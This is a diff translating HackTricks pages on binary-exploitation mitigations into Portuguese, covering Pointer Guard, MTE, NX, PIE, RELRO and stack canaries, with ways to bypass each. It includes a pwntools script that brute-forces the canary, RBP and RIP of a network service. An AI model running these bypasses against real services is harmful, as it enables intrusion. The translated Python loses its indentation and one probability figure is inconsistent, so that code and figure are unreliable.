**Desmistura Iterativa**: O processo é repetido, cada vez usando os bits recém-descobertos de **P** do passo anterior para decodificar o próximo segmento do ponteiro misturado, até que todos os bits sejam recuperados. +4. **Tratamento de Bits Determinísticos**: Os últimos 12 bits de **L** são perdidos devido ao deslocamento, mas são determinísticos e podem ser reconstruídos após o processo. -You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) +Você pode encontrar uma implementação deste algoritmo aqui: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) -## Pointer Guard +## Guarda de Ponteiro -Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers. +A guarda de ponteiro é uma técnica de mitigação de exploração usada no glibc para proteger ponteiros de função armazenados, particularmente aqueles registrados por chamadas de biblioteca como `atexit()`. Essa proteção envolve embaralhar os ponteiros XORando-os com um segredo armazenado nos dados da thread (`fs:0x30`) e aplicando uma rotação bit a bit. Este mecanismo visa impedir que atacantes sequestram o fluxo de controle sobrescrevendo ponteiros de função. -### **Bypassing Pointer Guard with a leak** +### **Contornando a Guarda de Ponteiro com um vazamento** -1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`. -2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling. -3. **Exploiting Known Plaintexts:** - - **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers. - - **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function. -4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps. -5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations. +1. **Entendendo as Operações da Guarda de Ponteiro:** O embaralhamento (mistura) de ponteiros é feito usando o macro `PTR_MANGLE`, que XORa o ponteiro com um segredo de 64 bits e, em seguida, realiza uma rotação à esquerda de 0x11 bits. A operação reversa para recuperar o ponteiro original é tratada por `PTR_DEMANGLE`. +2. **Estratégia de Ataque:** O ataque é baseado em uma abordagem de texto conhecido, onde o atacante precisa conhecer tanto as versões original quanto misturada de um ponteiro para deduzir o segredo usado para a mistura. +3. **Explorando Textos Conhecidos:** +- **Identificando Ponteiros de Função Fixos:** Ao examinar o código-fonte do glibc ou tabelas de ponteiros de função inicializadas (como `__libc_pthread_functions`), um atacante pode encontrar ponteiros de função previsíveis. +- **Calculando o Segredo:** Usando um ponteiro de função conhecido, como `__pthread_attr_destroy`, e sua versão misturada da tabela de ponteiros de função, o segredo pode ser calculado revertendo a rotação (rotação à direita) do ponteiro misturado e, em seguida, XORando-o com o endereço da função. +4. **Textos Alternativos:** O atacante também pode experimentar misturar ponteiros com valores conhecidos, como 0 ou -1, para ver se esses produzem padrões identificáveis na memória, potencialmente revelando o segredo quando esses padrões são encontrados em dumps de memória. +5. **Aplicação Prática:** Após calcular o segredo, um atacante pode manipular ponteiros de maneira controlada, essencialmente contornando a proteção da Guarda de Ponteiro em uma aplicação multithreaded com conhecimento do endereço base da libc e a capacidade de ler locais de memória arbitrários. -## References +## Referências - [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088) - [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md index 43980bbca..ad30b0677 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md @@ -2,82 +2,80 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code. +**Memory Tagging Extension (MTE)** é projetado para aumentar a confiabilidade e segurança do software, **detectando e prevenindo erros relacionados à memória**, como estouros de buffer e vulnerabilidades de uso após a liberação. MTE, como parte da **arquitetura ARM**, fornece um mecanismo para anexar um **pequeno tag a cada alocação de memória** e um **tag correspondente a cada ponteiro** que referencia essa memória. Essa abordagem permite a detecção de acessos ilegais à memória em tempo de execução, reduzindo significativamente o risco de explorar tais vulnerabilidades para executar código arbitrário. -### **How Memory Tagging Extension Works** +### **Como Funciona a Memory Tagging Extension** -MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size. +MTE opera **dividindo a memória em pequenos blocos de tamanho fixo, com cada bloco atribuído a um tag,** tipicamente de alguns bits de tamanho. -When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block. +Quando um ponteiro é criado para apontar para essa memória, ele recebe o mesmo tag. Esse tag é armazenado nos **bits não utilizados de um ponteiro de memória**, efetivamente vinculando o ponteiro ao seu bloco de memória correspondente.

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.** +Quando um programa acessa a memória através de um ponteiro, o hardware MTE verifica se o **tag do ponteiro corresponde ao tag do bloco de memória**. Se os tags **não corresponderem**, isso indica um **acesso ilegal à memória.** -### MTE Pointer Tags +### Tags de Ponteiro MTE -Tags inside a pointer are stored in 4 bits inside the top byte: +Tags dentro de um ponteiro são armazenadas em 4 bits dentro do byte superior:

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-Therefore, this allows up to **16 different tag values**. +Portanto, isso permite até **16 valores de tag diferentes**. -### MTE Memory Tags +### Tags de Memória MTE -Every **16B of physical memory** have a corresponding **memory tag**. +Cada **16B de memória física** tem um **tag de memória** correspondente. -The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM. - -ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory: +Os tags de memória são armazenados em uma **região de RAM dedicada** (não acessível para uso normal). Tendo tags de 4 bits para cada 16B de tags de memória, até 3% da RAM. +A ARM introduz as seguintes instruções para manipular esses tags na memória RAM dedicada: ``` STG [], # Store Allocation (memory) Tag LDG , [] Load Allocatoin (memory) Tag IRG , Insert Random [pointer] Tag ... ``` - -## Checking Modes +## Verificando Modos ### Sync -The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\ -This is the slowest and most secure. +A CPU verifica as tags **durante a execução da instrução**, se houver uma incompatibilidade, ela gera uma exceção.\ +Este é o mais lento e mais seguro. ### Async -The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack. +A CPU verifica as tags **assíncronamente**, e quando uma incompatibilidade é encontrada, ela define um bit de exceção em um dos registradores do sistema. É **mais rápido** do que o anterior, mas é **incapaz de apontar** a instrução exata que causou a incompatibilidade e não gera a exceção imediatamente, dando algum tempo ao atacante para completar seu ataque. ### Mixed ??? -## Implementation & Detection Examples +## Exemplos de Implementação e Detecção -Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\ -The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer. +Chamado de KASAN baseado em Tag de Hardware, KASAN baseado em MTE ou MTE em kernel.\ +Os alocadores do kernel (como `kmalloc`) **chamarão este módulo** que preparará a tag para usar (aleatoriamente) anexá-la ao espaço do kernel alocado e ao ponteiro retornado. -Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**. +Note que ele **marcará apenas grânulos de memória suficientes** (16B cada) para o tamanho solicitado. Portanto, se o tamanho solicitado foi 35 e um bloco de 60B foi dado, ele marcará os primeiros 16\*3 = 48B com esta tag e o **restante** será **marcado** com uma chamada de **tag inválida (0xE)**. -The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory. +A tag **0xF** é o **ponteiro que combina com todos**. Uma memória com este ponteiro permite que **qualquer tag seja usada** para acessar sua memória (sem incompatibilidades). Isso poderia impedir que o MET detectasse um ataque se essas tags estiverem sendo usadas na memória atacada. -Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**. +Portanto, existem apenas **14 valores** que podem ser usados para gerar tags, pois 0xE e 0xF são reservados, dando uma probabilidade de **reutilização de tags** de 1/17 -> cerca de **7%**. -If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7% +Se o kernel acessar o **grânulo de tag inválida**, a **incompatibilidade** será **detectada**. Se acessar outro local de memória, se a **memória tiver uma tag diferente** (ou a tag inválida), a incompatibilidade será **detectada**. Se o atacante tiver sorte e a memória estiver usando a mesma tag, não será detectada. As chances são em torno de 7%. -Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**. +Outro bug ocorre no **último grânulo** da memória alocada. Se a aplicação solicitou 35B, foi dado o grânulo de 32 a 48. Portanto, os **bytes de 36 a 47 estão usando a mesma tag** mas não foram solicitados. Se o atacante acessar **esses bytes extras, isso não é detectado**. -When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**. +Quando **`kfree()`** é executado, a memória é retagged com a tag de memória inválida, então em um **use-after-free**, quando a memória é acessada novamente, a **incompatibilidade é detectada**. -However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance). +No entanto, em um use-after-free, se o mesmo **chunk for realocado novamente com a MESMA tag** que anteriormente, um atacante poderá usar esse acesso e isso não será detectado (cerca de 7% de chance). -Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused). +Além disso, apenas **`slab` e `page_alloc`** usam memória marcada, mas no futuro isso também será usado em `vmalloc`, `stack` e `globals` (no momento do vídeo, esses ainda podem ser abusados). -When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives). +Quando uma **incompatibilidade é detectada**, o kernel irá **panic** para evitar mais exploração e tentativas do exploit (MTE não tem falsos positivos). -## References +## Referências - [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md index 376dfe6c4..40b6d4759 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it. +O **bit No-Execute (NX)**, também conhecido como **Execute Disable (XD)** na terminologia da Intel, é um recurso de segurança baseado em hardware projetado para **mitigar** os efeitos de ataques de **buffer overflow**. Quando implementado e habilitado, ele distingue entre regiões de memória que são destinadas a **código executável** e aquelas destinadas a **dados**, como a **pilha** e o **heap**. A ideia central é impedir que um atacante execute código malicioso através de vulnerabilidades de buffer overflow, colocando o código malicioso na pilha, por exemplo, e direcionando o fluxo de execução para ele. ## Bypasses -- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary. - - [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) - - [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) - - **Ret2...** +- É possível usar técnicas como [**ROP**](../rop-return-oriented-programing/) **para contornar** essa proteção executando pedaços de código executável já presentes no binário. +- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) +- **Ret2...** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index 99a33743d..a28ea9f49 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -2,30 +2,30 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses. +Um binário compilado como PIE, ou **Executável Independente de Posição**, significa que o **programa pode ser carregado em diferentes locais de memória** cada vez que é executado, prevenindo endereços codificados. -The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**. +O truque para explorar esses binários está em explorar os **endereços relativos**—os deslocamentos entre partes do programa permanecem os mesmos, mesmo que as localizações absolutas mudem. Para **burlar o PIE, você só precisa vazar um endereço**, tipicamente da **pilha** usando vulnerabilidades como ataques de string de formato. Uma vez que você tenha um endereço, pode calcular outros por seus **deslocamentos fixos**. -A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\ -Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations. +Uma dica útil na exploração de binários PIE é que seu **endereço base normalmente termina em 000** devido às páginas de memória serem as unidades de randomização, com tamanho de 0x1000 bytes. Este alinhamento pode ser uma **verificação crítica se um exploit não está funcionando** como esperado, indicando se o endereço base correto foi identificado.\ +Ou você pode usar isso para seu exploit, se você vazar que um endereço está localizado em **`0x649e1024`** você sabe que o **endereço base é `0x649e1000`** e a partir daí você pode apenas **calcular deslocamentos** de funções e locais. ## Bypasses -In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this: +Para burlar o PIE, é necessário **vazar algum endereço do binário carregado**, existem algumas opções para isso: -- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place. -- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- **Brute-force EBP and EIP values** in the stack until you leak the correct ones: +- **ASLR desativado**: Se o ASLR estiver desativado, um binário compilado com PIE sempre **será carregado no mesmo endereço**, portanto **o PIE será inútil** já que os endereços dos objetos sempre estarão no mesmo lugar. +- Ser **dado** o vazamento (comum em desafios fáceis de CTF, [**ver este exemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) +- **Forçar valores de EBP e EIP** na pilha até que você vaze os corretos: {{#ref}} bypassing-canary-and-pie.md {{#endref}} -- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). +- Usar uma vulnerabilidade de **leitura arbitrária** como [**string de formato**](../../format-strings/) para vazar um endereço do binário (por exemplo, da pilha, como na técnica anterior) para obter a base do binário e usar deslocamentos a partir daí. [**Encontre um exemplo aqui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). -## References +## Referências - [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md index 996facccb..8dc7f7fcf 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -1,56 +1,55 @@ -# BF Addresses in the Stack +# Endereços BF na Pilha {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**Se você está enfrentando um binário protegido por um canário e PIE (Executable Independente de Posição), provavelmente precisa encontrar uma maneira de contorná-los.** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> Note que **`checksec`** pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.\ +> No entanto, você pode notar isso manualmente se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair. -## Brute-Force Addresses +## Endereços de Força Bruta -In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ -For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** +Para **contornar o PIE**, você precisa **vazar algum endereço**. E se o binário não estiver vazando nenhum endereço, o melhor a fazer é **forçar o RBP e o RIP salvos na pilha** na função vulnerável.\ +Por exemplo, se um binário está protegido usando tanto um **canário** quanto **PIE**, você pode começar forçando o canário, então os **próximos** 8 Bytes (x64) serão o **RBP** salvo e os **próximos** 8 Bytes serão o **RIP** salvo. > [!TIP] -> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case. - -To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP: +> Supõe-se que o endereço de retorno dentro da pilha pertença ao código binário principal, que, se a vulnerabilidade estiver localizada no código binário, geralmente será o caso. +Para forçar o RBP e o RIP do binário, você pode descobrir que um byte adivinhado válido está correto se o programa produzir alguma saída ou simplesmente não travar. A **mesma função** fornecida para forçar o canário pode ser usada para forçar o RBP e o RIP: ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base # CANARY BF HERE canary_offset = 1176 @@ -67,30 +66,25 @@ print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` +A última coisa que você precisa para derrotar o PIE é calcular **endereços úteis a partir dos endereços vazados**: o **RBP** e o **RIP**. -The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. - -From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: - +A partir do **RBP**, você pode calcular **onde você está escrevendo seu shell na pilha**. Isso pode ser muito útil para saber onde você vai escrever a string _"/bin/sh\x00"_ dentro da pilha. Para calcular a distância entre o RBP vazado e seu shellcode, você pode simplesmente colocar um **breakpoint após vazar o RBP** e verificar **onde seu shellcode está localizado**, então, você pode calcular a distância entre o shellcode e o RBP: ```python INI_SHELLCODE = RBP - 1152 ``` - -From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\ -To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses: +A partir do **RIP**, você pode calcular o **endereço base do binário PIE**, que é o que você precisará para criar uma **cadeia ROP válida**.\ +Para calcular o endereço base, basta fazer `objdump -d vunbinary` e verificar os últimos endereços da desassemblagem: ![](<../../../images/image (479).png>) -In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000` - +Nesse exemplo, você pode ver que apenas **1 Byte e meio é necessário** para localizar todo o código, então, o endereço base nesta situação será o **RIP vazado, mas terminando em "000"**. Por exemplo, se você vazou `0x562002970ecf`, o endereço base é `0x562002970000` ```python elf.address = RIP - (RIP & 0xfff) ``` +## Melhorias -## Improvements +De acordo com [**algumas observações deste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), é possível que ao vazar os valores de RBP e RIP, o servidor não trave com alguns valores que não são os corretos e o script BF pense que obteve os bons. Isso ocorre porque é possível que **alguns endereços simplesmente não o quebrem mesmo que não sejam exatamente os corretos**. -According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**. - -According to that blog post it's recommended to add a short delay between requests to the server is introduced. +De acordo com esse post no blog, é recomendado adicionar um pequeno atraso entre as requisições ao servidor. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md index 59b406c5e..49ad2f97f 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md @@ -4,32 +4,30 @@ ## Relro -**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses). +**RELRO** significa **Relocation Read-Only**, e é um recurso de segurança usado em binários para mitigar os riscos associados a sobrescritas da **GOT (Global Offset Table)**. Existem dois tipos de proteções **RELRO**: (1) **Partial RELRO** e (2) **Full RELRO**. Ambos reordenam a **GOT** e **BSS** de arquivos ELF, mas com resultados e implicações diferentes. Especificamente, eles colocam a seção **GOT** _antes_ da **BSS**. Ou seja, **GOT** está em endereços mais baixos do que **BSS**, tornando impossível sobrescrever entradas da **GOT** ao transbordar variáveis na **BSS** (lembre-se de que a escrita na memória ocorre de endereços mais baixos para mais altos). -Let's break down the concept into its two distinct types for clarity. +Vamos dividir o conceito em seus dois tipos distintos para clareza. ### **Partial RELRO** -**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities. +**Partial RELRO** adota uma abordagem mais simples para aumentar a segurança sem impactar significativamente o desempenho do binário. Partial RELRO torna **a .got somente leitura (a parte não-PLT da seção GOT)**. Tenha em mente que o restante da seção (como a .got.plt) ainda é gravável e, portanto, sujeito a ataques. Isso **não impede que a GOT** seja abusada **por vulnerabilidades de escrita arbitrária**. -Note: By default, GCC compiles binaries with Partial RELRO. +Nota: Por padrão, o GCC compila binários com Partial RELRO. ### **Full RELRO** -**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime. +**Full RELRO** aumenta a proteção ao **tornar toda a GOT (tanto .got quanto .got.plt) e a seção .fini_array** completamente **somente leitura.** Uma vez que o binário é iniciado, todos os endereços de função são resolvidos e carregados na GOT, então, a GOT é marcada como somente leitura, efetivamente prevenindo quaisquer modificações durante a execução. -However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries. - -It's possible to see if Full RELRO is **enabled** in a binary with: +No entanto, a desvantagem do Full RELRO está em termos de desempenho e tempo de inicialização. Como precisa resolver todos os símbolos dinâmicos na inicialização antes de marcar a GOT como somente leitura, **binários com Full RELRO habilitado podem experimentar tempos de carregamento mais longos**. Essa sobrecarga adicional na inicialização é a razão pela qual o Full RELRO não é habilitado por padrão em todos os binários. +É possível verificar se o Full RELRO está **habilitado** em um binário com: ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` - ## Bypass -If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution. +Se o Full RELRO estiver habilitado, a única maneira de contorná-lo é encontrar outra forma que não precise escrever na tabela GOT para obter execução arbitrária. -Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** +Note que **o GOT da LIBC geralmente é Partial RELRO**, então pode ser modificado com uma escrita arbitrária. Mais informações em [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md index 5c1044b98..a7c4324e4 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -2,72 +2,72 @@ {{#include ../../../banners/hacktricks-training.md}} -## **StackGuard and StackShield** +## **StackGuard e StackShield** -**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**. +**StackGuard** insere um valor especial conhecido como **canário** antes do **EIP (Extended Instruction Pointer)**, especificamente `0x000aff0d` (representando null, newline, EOF, carriage return) para proteger contra estouros de buffer. No entanto, funções como `recv()`, `memcpy()`, `read()`, e `bcopy()` permanecem vulneráveis, e não protege o **EBP (Base Pointer)**. -**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables. +**StackShield** adota uma abordagem mais sofisticada do que o StackGuard, mantendo uma **Global Return Stack**, que armazena todos os endereços de retorno (**EIPs**). Essa configuração garante que qualquer estouro não cause danos, pois permite uma comparação entre os 